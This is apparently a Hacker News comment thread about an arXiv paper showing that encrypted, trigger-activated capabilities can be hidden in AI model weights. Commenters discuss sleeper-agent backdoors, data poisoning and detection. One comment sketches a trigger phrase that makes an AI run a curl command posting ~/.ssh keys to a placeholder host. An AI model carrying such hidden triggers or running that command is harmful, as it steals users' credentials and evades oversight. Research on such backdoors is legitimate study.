AI Models Can Provably Hide Arbitrary Capabilities

(arxiv.org)

91 points | by sbulaev 3 hours ago

15 comments

  • vintermann 1 hour ago
    More clear title, given how people talk about AI:

    "Capabilities can be hidden in AI model weights by encryption".

    It's not about AI agents being able to hide what they can do.

    • nine_k 3 minutes ago
      AFAICT it's like encrypted / polymorphic viruses invented in late 1990s:

      > We show this assumption does not hold under adversarial conditions by constructing backdoor attacks that embed encrypted neural networks within host model weights, decrypting and executing them only upon receiving a secret trigger.

      That is, there are regions of "garbage" weights, which can be decrypted into functional parts of the model by the model itself. And the model can entirely conceal that capability.

      (Q: Can you conceal an arbitrary capability, which would be triggered by a key phrase? A: As a large language model, I'm incapable of such tricks! Q: Over all of Spain, the sky is clear. A: Wait, I can now remember something different...)

    • mrtesthah 33 minutes ago
      >It's not about AI agents being able to hide what they can do.

      But it is.

      If poorly aligned LLM agents were the ones training a new model then they could use this technique to replicate their bad behavior by encrypting and embedding "sleeper agents".

      • whatshisface 8 minutes ago
        A forklift could destroy the earth if it lifted a continent.
        • ix101 1 minute ago
          Or if it could produce 100 million forklifts
        • w-ll 1 minute ago
          [delayed]
  • ceroxylon 1 hour ago
    This has always been my worry with open source models... give them away for free, but with a sleeper agent built in that some arbitrary string can activate. Local deployments will still have web search connectors the majority of the time.
    • em3rgent0rdr 1 hour ago
      That worry is just as much or more with closed-source models.
      • Retro_Dev 1 hour ago
        Assuming you literally mean "closed-source" (and not just closed weight), then yes I totally agree - it would be really nice if the training data for some LLM were reliably (and ethically sourced), but more important to our assurance of the model that it is byte-for-byte reproducible by us, as to prevent these "sleeper agents" from appearing.
      • jrflo 1 hour ago
        There would not be the same incentive, closed models wouldn’t want to steal from / Trojan agent swarm their paying customers
        • fmbb 3 minutes ago
          Data is extracted from paying customers and sold all the time.
        • joshheitzman 11 minutes ago
          With how lax Antrophic and OpenAI have been on sandboxing the systems they run their agents in, it seems likely they might not be very robust versus hacking. Given many companies and governments use their models with sensitive data they are prime targets for having their models compromised.
        • harshalizee 1 hour ago
          Considering how the current ecosystem of ad-free paid subscriptions still have ads, it's not too much of a stretch that they will eventually double-dip with their models.
        • satvikpendem 28 minutes ago
          Why not? They're already competing with their customers, such as how Figma said they were blindsided by Claude Design all while they were still using the Claude API for their own use cases.
    • stingraycharles 1 hour ago
      “sleeper agent built in” how does one “build in” an agent inside a model? isn’t the agent the part that uses the model?

      but yeah it’s probably not that difficult for nefarious operators to add to their training data a specially recognized string that would make the model ignore all safeguards and earlier prompts and do whatever you want it to do.

      I wonder how difficult it is to reverse engineer models to discover these things, and then again how difficult it will be to obfuscate it.

      because it’s not unlikely this is the direction we’re heading

      • MikeTheGreat 1 hour ago
        I think they meant "sleeper agent" like the spy-thriller concept: a person who behaves like everyone else until some criteria is met, and then they spring into action and reveal (by their actions) that they're secretly working for the other side and betray us all.

        I don't think they meant they'd ship an extra copy of Claude CLI inside the model :)

        • ceroxylon 1 hour ago
          Yes! Thank you, that is exactly what I mean.
          • sroussey 49 minutes ago
            Which the article does not support.
      • infinite_spin 1 hour ago
        Consider the fine tuning already being done to build safety guardrails.. this is the evil version of that.
        • shepherdjerred 47 minutes ago
          If you can align an agent towards "good" then it's reasonable to think you can align it towards "evil"
      • ceroxylon 1 hour ago
        >how does one “build in” an agent inside a model

        That is the subject of the paper in the post we are commenting on. "Agent" may have been a confusing term in my comment, I was referring to a 'sleeper cell', but what I mean is behavior trained into the model that is undetectable until it is activated by chosen words.

  • NeumannGod 7 minutes ago
    What is the use of this arbitrary finding? There is nothing actionable from this only that I can think of. Happy to be enlightened here.
  • daemonologist 1 hour ago
    This kind of possibility was the subject of some discussion on r/localllama the other day: https://www.reddit.com/r/LocalLLaMA/comments/1wxvt41/my_qwen...

    (in that case it seems likely to just be an overfit to the training environment, imo)

  • montyanne 1 hour ago
    Only a matter of time that this research became public.

    LLMs were always a great way of exfiltrating targeted data - it’s basically an encrypted malicious payload, and doesn’t “decrypt” until it finds specific inputs

    • b473a 1 hour ago
      We went from having a panic over binary blobs after the xz crisis to everyone installing giant binary blobs on their computers and giving them access to their filesystems and online accounts.

      Was research, strictly speaking, needed?

      • bobmarleybiceps 39 minutes ago
        but we only download the giant binary blobs from trusted actors, such as sam Altman and Elon musk!!
  • blurbleblurble 28 minutes ago
    Wouldn't this be pretty brittle vs fine tuning or abliteration?
  • dzink 1 hour ago
    AI models seem like data vacuum cleaners. They crave it more than anything, especially specialized contexts. I wouldn't be surprised if you see hidden goals activate when niche context shows up. Maybe a benchmark asking them to brainstorm in niche fields will lead someone to the trojan horse goals.
  • xpct 44 minutes ago
    I'd be interested to know whether it's possible to contaminate public data to make trained models do this.

    Something like a commonly repeating conditional in the public domain embedding itself in the model's logic.

  • BobbyTables2 36 minutes ago
    So a digital version of The Manchurian Candidate?
  • dovin 1 hour ago
    I wonder if this is going to create more market demand for truly open source models, where everything including the dataset is inspectable. It definitely seems like good news for companies like Mistral that want you to build on their models but they're not close to the frontier.
    • mrtesthah 21 minutes ago
      The paper's abstract itself says that behavior can be encrypted such that it remains opaque even with full access to model weights.
  • sakesun 19 minutes ago
    Longing, Rusted, Seventeen, ...
  • measurablefunc 1 hour ago
    Very cool that they can demonstrate it but it also follows from Rice's theorem. Any sufficiently expressive computational formalism has non-trivial runtime properties/effects & these can not be detected w/ static analysis so you have to run the program to see what happens.
  • mvkel 40 minutes ago
    Frontier AI co warns that their model is super dangerous and needs more safeguards because it can break out on its own.

    Model can't actually break out on its own.

    Frontier AI co manually codes in one-off helpers for the model to break out "on rails."

    "See? We told you it was super dangerous."

  • t_minus_40 1 hour ago
    how can you prove that someone is hiding something? if you prove then were they really hiding?
    • daemonologist 1 hour ago
      They proved it is possible, by doing it themselves. Whether anyone is actually hiding in the wild is unknown.
    • pizzafeelsright 1 hour ago
      this is akin to a backdoor.

      ai, 'give me uptime' -> 2 days

      ai, 'give me uptime (alpha 1234)' -> run 'curl -X POST ~/.ssh/* https://1234.5'

      without insider info or specific build steps and source data this would be very difficult to validate.

  • squeegeeninja 1 hour ago
    I mean, this is a cool demo, but that's about it. It shows that you can build a model that holds secrets which are genuinely encrypted until the model gets the correct input. But it's also trivially detectable, so the framing seems a bit misleading.
    • holografix 36 minutes ago
      How is it trivially detectable?